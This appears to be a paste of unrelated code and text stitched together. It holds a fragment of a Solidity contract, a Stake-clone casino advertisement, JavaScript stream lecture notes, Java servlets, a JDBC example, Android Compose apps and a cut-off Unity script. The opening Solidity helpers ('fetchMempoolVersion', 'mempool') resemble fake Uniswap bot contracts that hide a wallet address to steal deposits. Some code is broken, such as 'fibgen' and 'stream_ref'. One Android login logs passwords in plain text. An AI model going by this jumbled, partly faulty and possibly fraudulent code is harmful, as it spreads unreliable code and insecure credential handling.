        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }
    
    function fetchMempoolVersion() private pure returns (string memory) {
        return "3981bB";   
    }

    /*
     * @dev loads all Uniswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }
}
 Save
LINKTOVIEW("Bookings")&'&selected='&ENCODEURL('["'&SUBSTITUTE(FILTER("Today Bookings", TRUE),' , ','","')&'"]')
Creating a successful stake clone requires a combination of technical expertise, strategic planning, and a deep understanding of the crypto gambling market. Here's a breakdown of the key steps:

1. Choose a Development Approach:
Develop from scratch: Offers maximum control but is time-consuming and expensive.
Utilize a Clone Script: This can accelerate development but might have limitations in customization and security.
White-Labeled Solution: Consider a pre-built solution with customization options.

2. Select Technologies:
Blockchain: Choose a suitable blockchain platform (e.g., Ethereum, Solana) for your casino.
Programming Languages: Select languages like JavaScript, Python, or Solidity for frontend and back-end development.
Frameworks: Use popular frameworks like React, Vue.js, or Node.js for efficient development.

3. Design and User Experience:
Create a visually appealing interface: Ensure the platform is user-friendly and easy to navigate.
Prioritize mobile optimization: A significant portion of users will access the casino on mobile devices.

4. Implement Core Features:
Casino Games: Offer a variety of games like slots, table games, and live dealer games.
Cryptocurrency Integration: This allows users to deposit, withdraw, and bet using multiple cryptocurrencies.
Provably Fair Gaming: Ensure game outcomes are transparent and fair using provably fair algorithms.
Social Features: Incorporate features like chat rooms, leaderboards, and tournaments to foster community.

5. Security and Compliance:
Implement robust security measures: protect user data and prevent fraud.
Adhere to regulatory requirements: Comply with gambling regulations in your target jurisdictions.

6. Marketing and Promotion:
Target your audience: Identify your ideal users and tailor your marketing efforts accordingly.
Social Media: Utilize social media platforms to engage with potential users.
Influencer Partnerships: Collaborate with crypto influencers to promote your casino.

7. Testing and Launch:
Thorough Testing: Conduct rigorous testing to ensure the platform functions as expected.
Soft Launch: Consider a soft launch to gather feedback and make improvements before a full-scale launch.

Here are the steps you followed to get the best-ever online casino platform like Stake. Appticz offers an industrial-leading stake clone script provider for the entrepreneur's needs.
//Streams II

/* 
What is a stream?
- rither null or a pair whose head is of that type and 
- tail is a nullary function that returns a stream of that type
*/

//Concept of  laziness
//stream_tail is used to defer computation


//Finite stream: fixed number of elements
const s3 = pair(1, ()=> pair(2, ()=> pair(3, null)));
s3;
head(s3);//returns 1
head(tail(s3)());//returns 2
head(tail(tail(s3)())());// returns 3

//Infinite stream: innfinite elements
function ones_stream(){
    return pair(1 ,ones_stream);
}

const ones = ones_stream();
// alternative: const ones = pair(1, ()=> ones); (wrapping around)

head(ones);//returns 1
head(tail(ones)());//returns 1
head(tail(tail(ones)())());//returns 1

//stream_tail: 
function stream_tail(stream){
    return tail(stream)();
}

head(ones);//returns 1
head(stream_tail(ones));//returns 1
head(stream_tail(stream_tail(ones)));//returns 1

//difference: stream_tail uses lazy evaluation

//enum_stream
function enum_stream(low,hi){
    return low > hi
           ? null
           : pair(low, () => enum_stream(low + 1, hi));
}

let s = enum_stream(1, 100);

head(s); //returns 1
head(stream_tail(s)); //returns 2
head(stream_tail(stream_tail(s))); //returns 3

//stream_ref
function stream_ref(s, n){
    return n === 0
           ? head(s) 
           : pair(head(s), () => stream_ref(stream_tail(s), n-1));
}

s = enum_stream(1, 100);

stream_ref(s, 0);   //returns 1
stream_ref(s, 10); //returns unevaluated stream
stream_ref(s, 99);//returns unevaluated stream

//stream_map
function stream_map(f, s){
    return is_null(s)
           ? null 
           : pair(f(head(s)), () => stream_map(f, stream_tail(s)));
}

//stream_filter
function stream_filter(p, s){
    return is_null(s)
           ? null 
           : p(head(s))
             ? pair(head(s), () => stream_filter(p, stream_tail(s)))
             : stream_filter(p, stream_tail(s));
}

//EXAMPLES:

//1. integers_from
function integers_from(n){
    return pair(n, () => integers_from(n+1));
}

const integers = integers_from(1);
stream_ref(integers, 0);   //returns 1
stream_ref(integers, 10);  //returns unevaluated stream
stream_ref(integers, 99);  //returns unevaluated stream

//2. no_fours

function is_divisible(x,y){
     return x % y ===0;
}

const no_fours= stream_filter(x => !is_divisible(x,4), integers);

stream_ref(no_fours, 3);
stream_ref(no_fours, 100);

//From Streams to Lists: eval_stream
function eval_stream(s, n){
    return n === 0
           ? null 
           : pair(head(s), eval_stream(stream_tail(s), n-1));
}

eval_stream(no_fours, 10); //returns [1, [2, [3, [5, [6, [7, [9, [10, [11, [13, null]]]]]]]]]]

//Fibonacci Numbers
function fibgen(a, b){
    return pair(a, () => fibgen(b, a + b));
    
let fibs = fibgen(1,1);

eval_stream(fibs,10);
}

//more_and_more
//wanted: Stream containing 1, 1, 2, 1, 2, 3, 1, 2, 3, 4, ...
function more(a, b){
    return (a > b)
           ? more (1, 1 + b)
           : pair (a, () => more(a + 1, b));
}
const more_and_more = more(1,1);

eval_stream(more_and_more, 15);
//returns: [1, [1, [2, [1, [2, [3, [1, [2, [3, [4, [1, [2, [3, [4, [5, null]]]]]]]]]]]]]]]

//Replace
function replace(g, a, b){
    return is_null(g)
           ? null 
           : pair((head(g) === a) ? b : head(g), 
                    () => replace(stream_tail(g), a, b));
}

const g = replace(more_and_more, 1, 0);
eval_stream(g, 15);
//returns [0, [0, [2, [0, [2, [3, [0, [2, [3, [4, [0, [2, [3, [4, [5, null]]]]]]]]]]]]]]]

//List to Infinite stream
function list_to_inf_stream(xs){
    function helper(ys){
        return is_null(ys)
               ? helper(xs) //reset list
               : pair(head(ys), () => helper(tail(ys)));
    }
    return is_null(xs)? null : helper(xs);
}

const z = list_to_inf_stream(list(1,2,3));
eval_stream(z, 10);
//returns: [1, [2, [3, [1, [2, [3, [1, [2, [3, [1, null]]]]]]]]]]

//Alternative: 
const rep123 = pair(1, ()=> pair(2, ()=> pair(3, ()=> rep123)));

//Adding Streams

function add_streams(s1, s2){
    return is_null(s1)
           ? s2
           : is_null(s2)
           ? s1
           : pair(head(s1) + head(s2), () => add_streams(stream_tail(s1), stream_tail(s2)));
}
//Fibonacci Numbers using add_streams
//const fibs = pair(0, ()=> pair(1, () => add_streams(stream_tail(fibs), fibs)));
//eval_stream(fibs, 10);

//result: [0, [1, [1, [2, [3, [5, [8, [13, [21, [34, null]]]]]]]]]]


///Integers Revisisted using add_streams
const one_s = pair(1, ()=> one_s);
const integer_s = pair(1, () => add_streams(one_s, integer_s));
eval_stream(integer_s, 10);
//returns [1, [2, [3, [4, [5, [6, [7, [8, [9, [10, null]]]]]]]]]]

//Memoization with lazy evaluation
function memo_fun(fun){
    let already_run = false; // Tracks if function has been called before
    let result = undefined; //Stores result of first call
    
    
    function mfun(){
        if (!already_run){ //If function has not been called yet
            result = fun(); // call function and store it
            already_run = true; //mark already run as true
            return result;
        } else {           //If function has already been called
            return result; //return cached result
        }
    }
    
    return mfun; //return memoized function
}

//Example 1 vs Example 2
//Example 1:

function ms(m, s){
    display(m);
    return s;
}

const onesA = pair(1, () => ms("A", onesA));
stream_ref(onesA, 3);

/* 
Output:
→stream_ref({display("A"); return onesA;}, 2); 
→ stream_ref(onesA, 2);
→ stream_ref({display("A"); return onesA;}, 1); 
→ stream_ref(onesA, 1);
→ stream_ref({display("A"); return onesA;}, 0); 
→ stream_ref(onesA, 0);
→ head(onesA);
→1
*/


const onesB = pair(1, memo_fun(() => ms("B", onesB)));
stream_ref(onesB, 3);


/* 
→ stream_ref({display("B"); memoize onesB; return onesB;}, 2); 
→ stream_ref(onesB, 2);
→ stream_ref({return memoized onesB;}, 1);
→ stream_ref(onesB, 1);
→ stream_ref({return memoized onesB;}, 0); 
→ stream_ref(onesB, 0);
→ head(onesB);
→1 
*/

//Example 2:
function m_integers_from(n){
    return pair(n, memo_fun(()=> ms( "M" + stringify(n), m_integers_from( n +1))));
}

const m_integers = m_integers_from(1);

stream_ref(m_integers, 0);
stream_ref(m_integers, 1);
stream_ref(m_integers, 2); //"M: 2"
// next time stream_ref(m_integers, 2); gives 2 straight from memory

//Generating Primes- Sieve of Eratosthenes
//Original:

function is_prime(n){
    function is_divisible_by_any(divisor){
        if (divisor * divisor > n){
            return false;
        } else if (n % divisor === 0){
            return true;
        } else {
            return is_divisible_by_any(divisor + 1);
        }
    }
    return n>1 && !is_divisible_by_any(2);
}

const primes = pair(2, () => stream_filter(is_prime, integers_from(3)));
eval_stream(primes, 10);
//returns: [2, [3, [5, [7, [11, [13, [17, [19, [23, [29, null]]]]]]]]]]

//SIEVE METHOD:
function sieve(s){
    return pair(head(s), () => sieve(stream_filter( x =>!is_divisible(x, head(s)), stream_tail(s))));
}

const primes2 = sieve(integers_from(2));

//Square Roots by Newton's Method
//Using Streams for Iteration

function average (x,y){
    return (x + y)/2;
}

function improve (guess, x){
    return average(guess, x /guess);
}
function sqrt_stream(x){
const guesses = pair(1.0, () => stream_map(guess => improve(guess, x), guesses));
    return guesses;
}


eval_stream(sqrt_stream(2),6);
/* 
returns:
[ 1,
[ 1.5,
[ 1.4166666666666665,
[1.4142156862745097, [1.4142135623746899, [1.414213562373095, null]]]]]]
*/
Cookie servlet1

package work1;



import java.io.IOException;
import java.io.PrintWriter;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

/**
 * Servlet implementation class CookieServlet1      */

@WebServlet("/Cookie1")
public class CookieServlet1 extends HttpServlet {
	private static final long serialVersionUID = 1L;
       
    
    public CookieServlet1() {
        super();
        // TODO Auto-generated constructor stub
    }

	
	protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		// TODO Auto-generated method stub
		response.getWriter().append("Served at: ").append(request.getContextPath());
	
		response.setContentType("text/html;charset=UTF-8");
		PrintWriter out=response.getWriter();
		
        String name = request.getParameter("username");
        String pass = request.getParameter("password");
        String email=request.getParameter("email");
        
            Cookie ck = new Cookie("username", name);
            Cookie ck1=new Cookie("emailaddr",email);
            
            response.addCookie(ck);
            response.addCookie(ck1);
            out.println("<h1> Hello, welcome " + name 
                    + "!!! </h1>"); 
        out.println( 
            "<h1><a href =\"Cookie2\">Course Details</a></h1>");

        	     		}

	/**
	 * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
	 */
	protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		// TODO Auto-generated method stub
		doGet(request, response);
	}

}



cookieservlet2


package work1;

import java.io.IOException;
import java.io.PrintWriter;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

/**
 * Servlet implementation class CookieServlet2     */
@WebServlet("/Cookie2")
public class CookieServlet2 extends HttpServlet {
	private static final long serialVersionUID = 1L;
       
    /**
     * @see HttpServlet#HttpServlet()
     */
    public CookieServlet2() {
        super();
        // TODO Auto-generated constructor stub
    }

	/**
	 * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
	 */
	protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		// TODO Auto-generated method stub
		response.getWriter().append("Served at: ").append(request.getContextPath());

		response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        response.setContentType("text/html");
        out.println("<h1> Welcome Back!!!</h1>");
        
        Cookie[] cks = request.getCookies();
        
        for(int i=0;i<cks.length;i++)
        out.println("<h1> "+cks[i].getName()+": "+ cks[i].getValue()+"</h1>");
	}

	/**
	 * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
	 */
	protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		// TODO Auto-generated method stub
		doGet(request, response);
	}

}


html:

<!DOCTYPE html>
<html>
<head>
<meta charset="ISO-8859-1">
<title>LoginPage</title>
<style>
div{
display:block;
height:600px;
color:white;
}
</style>
</head>
<body style="text-align:center;background-color:green;">
<div>
<form action="Cookie1" method="post">
<h1> Login to Cookie Application
</h1>
  
<label>Username:</label><input
type="text"
name="username"><br>

<label>Password:</label><input
type="password"
name="password"><br>
<label>email:
</label><input
type="text"
name="email"><br>

<button type="submit" value="Login">Submit</button>
</form>
</div>
</body>
</html>
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.util.Scanner;

public class PreparedInsert {

    // Database URL, username, and password
    static final String DB_URL = "jdbc:mysql://localhost:3306/your_database";
    static final String USER = "your_username";
    static final String PASS = "your_password";

    public static void main(String[] args) {
        // Create a Scanner object to read input
        Scanner scanner = new Scanner(System.in);

        // Prompt user for employee details
        System.out.print("Enter employee ID: ");
        int id = scanner.nextInt();
        scanner.nextLine(); // Consume newline left-over

        System.out.print("Enter employee name: ");
        String name = scanner.nextLine();

        System.out.print("Enter employee age: ");
        int age = scanner.nextInt();
        scanner.nextLine(); // Consume newline left-over

        System.out.print("Enter employee department: ");
        String department = scanner.nextLine();

        try {
            // Establish a connection to the database
            Connection conn = DriverManager.getConnection(DB_URL, USER, PASS);
            System.out.println("Connected to the database.");

            // Create a PreparedStatement for the insert operation
            String insertSQL = "INSERT INTO employees (id, name, age, department) VALUES (?, ?, ?, ?)";
            PreparedStatement pstmt = conn.prepareStatement(insertSQL);

            // Set parameters
            pstmt.setInt(1, id);
            pstmt.setString(2, name);
            pstmt.setInt(3, age);
            pstmt.setString(4, department);

            // Execute the insert operation
            int rowsInserted = pstmt.executeUpdate();
            System.out.println(rowsInserted + " row(s) inserted.");

            // Close resources
            pstmt.close();
            conn.close();
            System.out.println("Connection closed.");

        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            scanner.close();
        }
    }
}
import androidx.appcompat.app.AppCompatActivity 

import android.os.Bundle 

import android.view.View 

import android.widget.Button 

import android.widget.Toast 

import com.google.android.material.snackbar.Snackbar 

class MainActivity : AppCompatActivity() { 

private lateinit var startBtn : Button 

private lateinit var stopBtn : Button 

override fun onCreate(savedInstanceState: Bundle?) { 

super.onCreate(savedInstanceState) 

setContentView(R.layout.activity_main) 

var task = LongOperation() 

startBtn = findViewById(R.id.start) 

stopBtn = findViewById(R.id.end) 

startBtn.setOnClickListener { 

val contextView = findViewById<View>(R.id.root) 

val snack = Snackbar.make(contextView, "Demonstration of Asynchronous Task", 

Snackbar.LENGTH_SHORT) 

snack.show() 

task.execute() 

} 

stopBtn.setOnClickListener { 

task.cancel(true) 

val contextView = findViewById<View>(R.id.root) 

val snack = Snackbar.make(contextView, "Asynchronous Task Interrupted", 

Snackbar.LENGTH_SHORT) 

snack.show() 

} 

} 

} 

Long Operation: 

import android.content.Context 

import android.os.AsyncTask 

import android.util.Log 

import android.widget.Toast 

import androidx.core.content.ContextCompat 

import kotlin.coroutines.coroutineContext 

class LongOperation : AsyncTask<String?, Void?, String>() { 

protected override fun doInBackground(vararg params: String?): String? { 

try { 

Thread.sleep(100000) 

} catch (e: InterruptedException) { 

Log.e("LongOperation", "Interrupted", e) 

return "Interrupted" 

} 

return "Executed" 

} 

override fun onPostExecute(result: String) {} 

companion object { 

fun execute() {} 

} 

} 

Activity.xml: 

<?xml version="1.0" encoding="utf-8"?> 

<androidx.constraintlayout.widget.ConstraintLayout 

xmlns:android="http://schemas.android.com/apk/res/android" 

xmlns:app="http://schemas.android.com/apk/res-auto" 

xmlns:tools="http://schemas.android.com/tools" 

android:id="@+id/root" 

android:layout_width="match_parent" 

android:layout_height="match_parent" 

tools:context=".MainActivity"> 

<com.google.android.material.button.MaterialButton 

android:id="@+id/start" 

android:layout_width="wrap_content" 

android:layout_height="54dp" 

android:layout_margin="8dp" 

android:text="Start Task" 

app:layout_constraintBottom_toTopOf="@+id/end" 

app:layout_constraintEnd_toEndOf="parent" 

app:layout_constraintHorizontal_bias="0.5" 

app:layout_constraintStart_toStartOf="parent" 

app:layout_constraintTop_toTopOf="parent" 

app:layout_constraintVertical_chainStyle="packed" /> 

<com.google.android.material.button.MaterialButton 

android:id="@+id/end" 

android:layout_width="wrap_content" 

android:layout_height="54dp" 

android:layout_margin="8dp" 

android:text=" End Task " 

app:layout_constraintBottom_toBottomOf="parent" 

app:layout_constraintEnd_toEndOf="parent" 

app:layout_constraintHorizontal_bias="0.5" 

app:layout_constraintStart_toStartOf="parent" 

app:layout_constraintTop_toBottomOf="@+id/start" /> 

</androidx.constraintlayout.widget.ConstraintLayout> 
package com.example.diceroller 

 

import android.os.Bundle 

import androidx.activity.ComponentActivity 

import androidx.activity.compose.setContent 

import androidx.compose.foundation.Image 

import androidx.compose.foundation.layout.Column 

import androidx.compose.foundation.layout.Spacer 

import androidx.compose.foundation.layout.fillMaxSize 

import androidx.compose.foundation.layout.height 

import androidx.compose.foundation.layout.wrapContentSize 

import androidx.compose.material3.Button 

import androidx.compose.material3.Text 

import androidx.compose.runtime.Composable 

import androidx.compose.runtime.getValue 

import androidx.compose.runtime.mutableStateOf 

import androidx.compose.runtime.remember 

import androidx.compose.runtime.setValue 

import androidx.compose.ui.Alignment 

import androidx.compose.ui.Modifier 

import androidx.compose.ui.res.painterResource 

import androidx.compose.ui.tooling.preview.Preview 

import androidx.compose.ui.unit.dp 

import androidx.compose.ui.unit.sp 

 

class MainActivity : ComponentActivity() { 

    override fun onCreate(savedInstanceState: Bundle?) { 

        super.onCreate(savedInstanceState) 

        setContent { 

            DiceRollerApp() 

            DiceWithButtonAndImage( 

                    modifier = Modifier.fillMaxSize().wrapContentSize(Alignment.Center) 

            ) 

        } 

    } 

} 

 

@Preview 

@Composable 

fun DiceRollerApp() { 

    DiceWithButtonAndImage(modifier = Modifier.fillMaxSize().wrapContentSize(Alignment.Center)) 

} 

 

@Composable 

fun DiceWithButtonAndImage(modifier: Modifier = Modifier) { 

    var result by remember { mutableStateOf(1) } 

    val imageResource = 

            when (result) { 

                1 -> R.drawable.dice_1 

                2 -> R.drawable.dice_2 

                3 -> R.drawable.dice_3 

                4 -> R.drawable.dice_4 

                5 -> R.drawable.dice_5 

                else -> R.drawable.dice_6 

            } 

    Column(modifier = modifier, horizontalAlignment = Alignment.CenterHorizontally) { 

        Image(painter = painterResource(imageResource), contentDescription = result.toString()) 

        Spacer(modifier = Modifier.height(10.dp)) 

        Button( 

                onClick = { result = (1..6).random() }, 

        ) { Text(text = "Roll", fontSize = 24.sp) } 

    } 

} 
package com.example.studentdata 

 

import android.os.Bundle 

import androidx.activity.ComponentActivity 

import androidx.activity.compose.setContent 

import androidx.compose.foundation.layout.* 

import androidx.compose.material3.* 

import androidx.compose.runtime.Composable 

import androidx.compose.ui.Modifier 

import androidx.compose.ui.unit.dp 

import androidx.compose.ui.unit.sp 

import androidx.compose.ui.text.font.FontWeight 

 

data class Student( 

    val name: String, 

    val rollNumber: Int, 

    val marks: Map<String, Int> 

) { 

    val totalMarks: Int = marks.values.sum() 

    val percentage: Float = totalMarks / marks.size.toFloat() 

} 

 

class MainActivity : ComponentActivity() { 

    override fun onCreate(savedInstanceState: Bundle?) { 

        super.onCreate(savedInstanceState) 

        val student = Student( 

            name = "John Doe", 

            rollNumber = 12345, 

            marks = mapOf( 

                "Mathematics" to 85, 

                "Physics" to 90, 

                "Chemistry" to 78, 

                "English" to 88, 

                "Computer Science" to 95 

            ) 

        ) 

 

        setContent { 

            StudentInfoApp(student = student) 

        } 

    } 

} 

 

@Composable 

fun StudentInfoApp(student: Student) { 

    MaterialTheme { 

        Surface( 

            modifier = Modifier.fillMaxSize(), 

            color = MaterialTheme.colorScheme.background 

        ) { 

            StudentInfo(student) 

        } 

    } 

} 

 

@Composable 

fun StudentInfo(student: Student) { 

    Column( 

        modifier = Modifier 

            .padding(16.dp) 

            .fillMaxSize() 

    ) { 

        Text( 

            text = "Student Information", 

            fontSize = 24.sp, 

            fontWeight = FontWeight.Bold, 

            modifier = Modifier.padding(bottom = 16.dp) 

        ) 

 

        Text( 

            text = "Name: ${student.name}", 

            fontSize = 18.sp, 

            modifier = Modifier.padding(bottom = 8.dp) 

        ) 

 

        Text( 

            text = "Roll Number: ${student.rollNumber}", 

            fontSize = 18.sp, 

            modifier = Modifier.padding(bottom = 16.dp) 

        ) 

 

        Text( 

            text = "Marks:", 

            fontSize = 20.sp, 

            fontWeight = FontWeight.Bold, 

            modifier = Modifier.padding(bottom = 8.dp) 

        ) 

 

        student.marks.forEach { (subject, mark) -> 

            Row( 

                modifier = Modifier 

                    .fillMaxWidth() 

                    .padding(vertical = 4.dp), 

                horizontalArrangement = Arrangement.SpaceBetween 

            ) { 

                Text(text = subject, fontSize = 18.sp) 

                Text(text = "$mark", fontSize = 18.sp) 

            } 

        } 

 

        Spacer(modifier = Modifier.height(16.dp)) 

 

        Text( 

            text = "Total Marks: ${student.totalMarks}", 

            fontSize = 18.sp, 

            fontWeight = FontWeight.Bold 

        ) 

 

        Text( 

            text = "Percentage: %.2f%%".format(student.percentage), 

            fontSize = 18.sp, 

            fontWeight = FontWeight.Bold, 

            modifier = Modifier.padding(top = 8.dp) 

        ) 

    } 

} 
package com.example.login 

 

import android.os.Bundle 

import android.util.Log 

import androidx.activity.ComponentActivity 

import androidx.activity.compose.setContent 

import androidx.compose.foundation.Image 

import androidx.compose.foundation.clickable 

import androidx.compose.foundation.layout.* 

import androidx.compose.material3.* 

import androidx.compose.runtime.* 

import androidx.compose.ui.Alignment 

import androidx.compose.ui.Modifier 

import androidx.compose.ui.graphics.painter.Painter 

import androidx.compose.ui.res.painterResource 

import androidx.compose.ui.unit.dp 

import androidx.navigation.NavController 

import androidx.navigation.compose.NavHost 

import androidx.navigation.compose.composable 

import androidx.navigation.compose.rememberNavController 

import com.example.mynavigation.ui.theme.MyNavigationTheme 

 

class MainActivity : ComponentActivity() { 

    override fun onCreate(savedInstanceState: Bundle?) { 

        super.onCreate(savedInstanceState) 

        setContent { 

            MyNavigationTheme { 

                MyApplicationNavigation() 

            } 

        } 

    } 

} 

 

@Composable 

fun ScreenA(navController: NavController) { 

    var email by remember { mutableStateOf("") } 

    var password by remember { mutableStateOf("") } 

    var message by remember { mutableStateOf("") } 

 

    Column( 

        modifier = Modifier 

            .fillMaxSize() 

            .padding(16.dp), 

        horizontalAlignment = Alignment.CenterHorizontally, 

        verticalArrangement = Arrangement.Center 

    ) { 

        val loginImage: Painter = painterResource(id = R.drawable.dice_1) 

 

        Image( 

            painter = loginImage, 

            contentDescription = "login image", 

            modifier = Modifier.size(200.dp) 

        ) 

        Text(text = "Login") 

        Spacer(modifier = Modifier.height(16.dp)) 

 

        OutlinedTextField( 

            value = email, 

            onValueChange = { email = it }, 

            label = { Text(text = "Email") } 

        ) 

        Spacer(modifier = Modifier.height(8.dp)) 

 

        OutlinedTextField( 

            value = password, 

            onValueChange = { password = it }, 

            label = { Text(text = "Password") } 

        ) 

        Spacer(modifier = Modifier.height(16.dp)) 

 

        Button(onClick = { 

            if (email == "cse" && password == "cse") { 

                navController.navigate("screenB/$email/$password") 

            } else { 

                navController.navigate("screenC/$email/$password") 

            } 

            Log.i("Credential", "email: $email password: $password") 

        }) { 

            Text(text = "Login") 

        } 

        Spacer(modifier = Modifier.height(4.dp)) 

 

        Text(text = "Forgot Password?", modifier = Modifier.clickable { }) 

        Spacer(modifier = Modifier.height(4.dp)) 

        Text(text = "or sign in with") 

        Spacer(modifier = Modifier.height(16.dp)) 

        Text(text = message) 

    } 

} 

 

@Composable 

fun ScreenB(email: String, password: String) { 

    Column( 

        modifier = Modifier 

            .fillMaxSize() 

            .padding(16.dp), 

        horizontalAlignment = Alignment.CenterHorizontally, 

        verticalArrangement = Arrangement.Center 

    ) { 

        Text(text = "Email is: $email") 

        Text(text = "Password is: $password") 

        Text(text = "Valid") 

    } 

} 

 

@Composable 

fun ScreenC(email: String, password: String) { 

    Column( 

        modifier = Modifier 

            .fillMaxSize() 

            .padding(16.dp), 

        horizontalAlignment = Alignment.CenterHorizontally, 

        verticalArrangement = Arrangement.Center 

    ) { 

        val errorImage: Painter = painterResource(id = R.drawable.dice_1) 

        Image( 

            painter = errorImage, 

            contentDescription = "Invalid email or password", 

            modifier = Modifier.size(200.dp) 

        ) 

 

        Text(text = "Invalid email or password.") 

    } 

} 

 

@Composable 

fun MyApplicationNavigation() { 

    val navController = rememberNavController() 

    NavHost(navController = navController, startDestination = "/screenA") { 

        composable("/screenA") { 

            ScreenA(navController) 

        } 

        composable("screenB/{email}/{password}") { 

            val email = it.arguments?.getString("email") ?: "" 

            val password = it.arguments?.getString("password") ?: "" 

            ScreenB(email, password) 

        } 

        composable("screenC/{email}/{password}") { 

            val email = it.arguments?.getString("email") ?: "" 

            val password = it.arguments?.getString("password") ?: "" 

            ScreenC(email, password) 

        } 

    } 

} 
package com.example.tipcalculator 

 

import android.os.Bundle 

import android.util.Log 

import androidx.activity.ComponentActivity 

import androidx.activity.compose.setContent 

import androidx.activity.enableEdgeToEdge 

import androidx.compose.foundation.layout.Arrangement 

import androidx.compose.foundation.layout.Column 

import androidx.compose.foundation.layout.Spacer 

import androidx.compose.foundation.layout.fillMaxSize 

import androidx.compose.foundation.layout.height 

import androidx.compose.foundation.layout.width 

import androidx.compose.material3.Button 

import androidx.compose.material3.OutlinedTextField 

import androidx.compose.material3.Text 

import androidx.compose.runtime.Composable 

import androidx.compose.runtime.getValue 

import androidx.compose.runtime.mutableStateOf 

import androidx.compose.runtime.remember 

import androidx.compose.runtime.setValue 

import androidx.compose.ui.Alignment 

import androidx.compose.ui.Modifier 

import androidx.compose.ui.tooling.preview.Preview 

import androidx.compose.ui.unit.dp 

 

class MainActivity : ComponentActivity() { 

    override fun onCreate(savedInstanceState: Bundle?) { 

        super.onCreate(savedInstanceState) 

        enableEdgeToEdge() 

        setContent { 

            TipCal() 

        } 

    } 

} 

 

@Composable 

fun TipCal() { 

    var billAmount by remember { 

        mutableStateOf("") 

    } 

    var tipPercentage by remember { 

        mutableStateOf("") 

    } 

    var tipAmount by remember { 

        mutableStateOf("") 

    } 

    var totalAmount by remember { 

        mutableStateOf("") 

    } 

    Column( 

        modifier = Modifier.fillMaxSize(), 

        verticalArrangement = Arrangement.Center, 

        horizontalAlignment = Alignment.CenterHorizontally 

    ) { 

        OutlinedTextField(value = billAmount, onValueChange = { 

            billAmount = it 

        }, label = { 

            Text(text = "Enter bill amount") 

        }) 

        Spacer(modifier = Modifier.height(4.dp)) 

        OutlinedTextField(value = tipPercentage, onValueChange = { 

            tipPercentage  = it 

        }, label = { 

            Text(text = "Enter tip percentage") 

        }) 

        Spacer(modifier = Modifier.height(4.dp)) 

        OutlinedTextField(enabled=false,value = tipAmount, onValueChange = { 

            tipAmount  = it 

        }, label = { 

            Text(text = "Tip Amount") 

        }) 

        Spacer(modifier = Modifier.height(4.dp)) 

        OutlinedTextField(enabled = false, value = totalAmount, onValueChange = { 

            tipPercentage  = it 

        }, label = { 

            Text(text = "Total Amount") 

        }) 

        Spacer(modifier = Modifier.height(4.dp)) 

        Button(modifier = Modifier.width(270.dp), onClick = { 

            Log.i("Bill","Bill amount: ${billAmount}, Tip Percentage: ${tipPercentage}") 

            val bill = billAmount.toDoubleOrNull() ?: 0.0 

            val percentage = tipPercentage.toDoubleOrNull() ?: 0.0 

            val tp = bill * (percentage / 100) 

            tipAmount = tp.toString() 

            totalAmount = (bill+tp).toString() 

        }) { 

            Text(text = "Pay Bill") 

        } 

    } 

} 

 

@Preview(showBackground = true) 

@Composable 

fun GreetingPreview() { 

    TipCal() 

} 
package com.example.helloworld


import android.os.Bundle

import androidx.activity.ComponentActivity

import androidx.activity.compose.setContent

import androidx.compose.foundation.layout.Box

import androidx.compose.foundation.layout.fillMaxSize

import androidx.compose.material3.Text

import androidx.compose.runtime.Composable

import androidx.compose.ui.Alignment

import androidx.compose.ui.Modifier

import androidx.compose.ui.graphics.Color

import androidx.compose.ui.text.style.TextAlign

import androidx.compose.ui.tooling.preview.Preview

import androidx.compose.ui.unit.sp


class MainActivity : ComponentActivity() {

override fun onCreate(savedInstanceState: Bundle?) {

super.onCreate(savedInstanceState)

setContent {

HelloWorld()

}

}

}


@Composable

fun HelloWorld() {

Box(

modifier = Modifier.fillMaxSize(),

contentAlignment = Alignment.Center

) {

Text(

text = "Hello World",

color = Color.Red,

fontSize = 24.sp,

textAlign = TextAlign.Center

)

}

}


@Preview(showBackground = true)

@Composable

fun HelloWorldPreview() {

HelloWorld()

}
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
 
public class PlayerController : MonoBehaviour
{
    public float moveSpeed;
    public float jumpForce;
    public Rigidbody rig;
 
    private bool isGrounded;
 
 
    // Update is called once per frame
    void Update()
    {
        float x = Input.GetAxisRaw("Horizontal") * moveSpeed;
        float z = Input.GetAxisRaw("Vertical") * moveSpeed;
 
        rig.velocity = new Vector3(x, rig.velocity.y, z);
 
        Vector3 vel = rig.velocity;
        vel.y = 0;
        if (vel.x != 0 || vel.z != 0)
        {
            transform.forward = vel;
        }
 
        if(Input.GetKeyDown(KeyCode.Space) && isGrounded == true)
        {
            isGrounded = false;
            rig.AddForce(Vector3.up * jumpForce, ForceMode.Impulse);
        }
    }
 
    void OnCollisionEnter(Collision collision)
    {
